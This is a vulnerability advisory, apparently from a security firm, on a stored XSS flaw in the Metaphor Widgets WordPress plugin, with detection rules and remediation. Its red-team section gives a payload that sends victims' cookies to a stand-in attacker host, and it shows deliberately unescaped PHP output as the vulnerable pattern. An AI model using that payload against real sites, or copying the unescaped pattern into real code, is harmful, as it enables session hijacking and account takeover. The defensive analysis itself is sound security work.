CVE-2025-23816

Executive Summary

CVE-2025-23816 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Metaphor Widgets WordPress plugin (slug: mtphr-widgets), developed by Metaphorcreations. The flaw exists in versions up to and including 2.4. An authenticated attacker with at least Contributor-level privileges can inject arbitrary JavaScript into widget parameters. When an administrator or other user views the affected page, the malicious script executes in their browser, leading to session hijacking, credential theft, or defacement.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS v3.1 score is 6.5 (Medium), with a vector emphasizing low attack complexity, required privileges, and user interaction. The EPSS score is 0.0%, indicating low active exploitation probability at this time, but the lack of a patch makes it a persistent risk for WordPress sites using this plugin.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress Plugin Directory. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate: if the plugin is installed from the official repository, the risk is limited to the plugin’s own code. However, if the plugin is obtained from third-party sources or bundled with themes, the risk increases. Administrators should verify the plugin’s integrity via checksums provided by WordPress.org.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs Contributor-level access.
• User Interaction (UI): Required (R) – The victim must view the compromised page.
• Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the stored nature of the XSS means that a single injection can affect multiple users over time.

Deep Dive & Mechanics

The vulnerability stems from improper sanitization of user-supplied input within the Metaphor Widgets plugin. The plugin likely uses echo or print to output widget parameters without escaping HTML entities. An attacker with Contributor-level access can create or edit a widget and inject JavaScript into fields such as titles, descriptions, or custom CSS classes.

Example vulnerable code pattern (conceptual):

<?php
// Vulnerable: direct output without escaping
echo '<div class="' . $widget_title . '">';
?>

The injected payload is stored in the WordPress database and rendered on the frontend when the widget is displayed. The script executes in the context of the victim’s browser, allowing actions such as:

• Stealing session cookies (document.cookie)
• Redirecting to malicious sites
• Performing actions on behalf of the victim (e.g., creating admin accounts)
• Defacing the site

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual fix.

Vulnerable Code (mtphr-widgets <= 2.4):

<?php
// Direct output of user input without escaping
echo $instance['title'];
?>

Patched Code (hypothetical):

<?php
// Properly escape output using WordPress functions
echo esc_html( $instance['title'] );
?>

The fix involves using WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context. The plugin should also validate input on the server side using sanitize_text_field() or similar.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Metaphor Widgets <= 2.4 installed and activated.
• Attacker account with at least Contributor role.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to Appearance > Widgets.
3. Add a Metaphor Widget to a sidebar or widget area.
4. In the widget’s title field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Save the widget.
6. As a victim (e.g., admin), visit the page where the widget is displayed.
7. The JavaScript executes, showing an alert box.

Advanced Payload (session cookie theft):

<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>

Lab Setup:

• Use a local WordPress installation (e.g., via Docker or XAMPP).
• Install the vulnerable plugin from the WordPress repository (version 2.4).
• Create a test user with Contributor role.
• Use a browser with developer tools to observe the XSS.

Blue Team (Detection & Response)

Detection:

• Monitor WordPress admin logs for unusual widget creation or modification.
• Look for suspicious JavaScript in widget fields via database queries.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Response:

• Immediately disable the Metaphor Widgets plugin.
• Remove any malicious widgets from the database.
• Rotate all admin session cookies and passwords.
• Scan the site for other indicators of compromise.

Indicators of Compromise (IOCs)

• File System:

  • /wp-content/plugins/mtphr-widgets/ directory present.
  • Modified widget data in wp_options table (option name: widget_mtphr-widgets).

• Network:

  • Outbound HTTP requests to attacker-controlled domains containing document.cookie in the query string.

• Logs:

  • WordPress debug log entries showing unexpected JavaScript in widget fields.
  • Web server access logs with GET requests to pages containing injected scripts.

• Database:

  • Rows in wp_posts or wp_postmeta containing <script> tags.
  • Serialized widget data in wp_options with malicious payloads.

Detection Engineering

YARA Rule

rule Detect_Metaphor_Widgets_XSS {
    meta:
        description = "Detects stored XSS payloads in Metaphor Widgets plugin data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-23816"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/i
        $plugin_path = "mtphr-widgets"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in Metaphor Widgets Plugin
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3d1f0e7a9c
status: experimental
description: Detects stored XSS attempts via Metaphor Widgets plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - "/wp-content/plugins/mtphr-widgets/"
        cs-method: "GET"
        cs-uri-query|contains: 
            - "<script"
            - "alert("
            - "document.cookie"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widget content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-23816 - Stored XSS in Metaphor Widgets"; flow:to_server,established; content:"/wp-content/plugins/mtphr-widgets/"; http_uri; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Remove any malicious widgets from the WordPress admin interface or directly from the database.
3. Change all admin passwords and invalidate existing sessions.

Long-term Mitigation:

• Monitor the plugin’s page on WordPress.org for an official update.
• Apply the principle of least privilege: restrict Contributor roles to trusted users only.
• Implement a Web Application Firewall (WAF) with XSS filtering rules.
• Regularly audit WordPress plugins for known vulnerabilities.

Workaround (if plugin must remain active):

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Manually patch the plugin by adding esc_html() to all output functions in the plugin’s PHP files.

Valters IT
Securing Digital Frontiers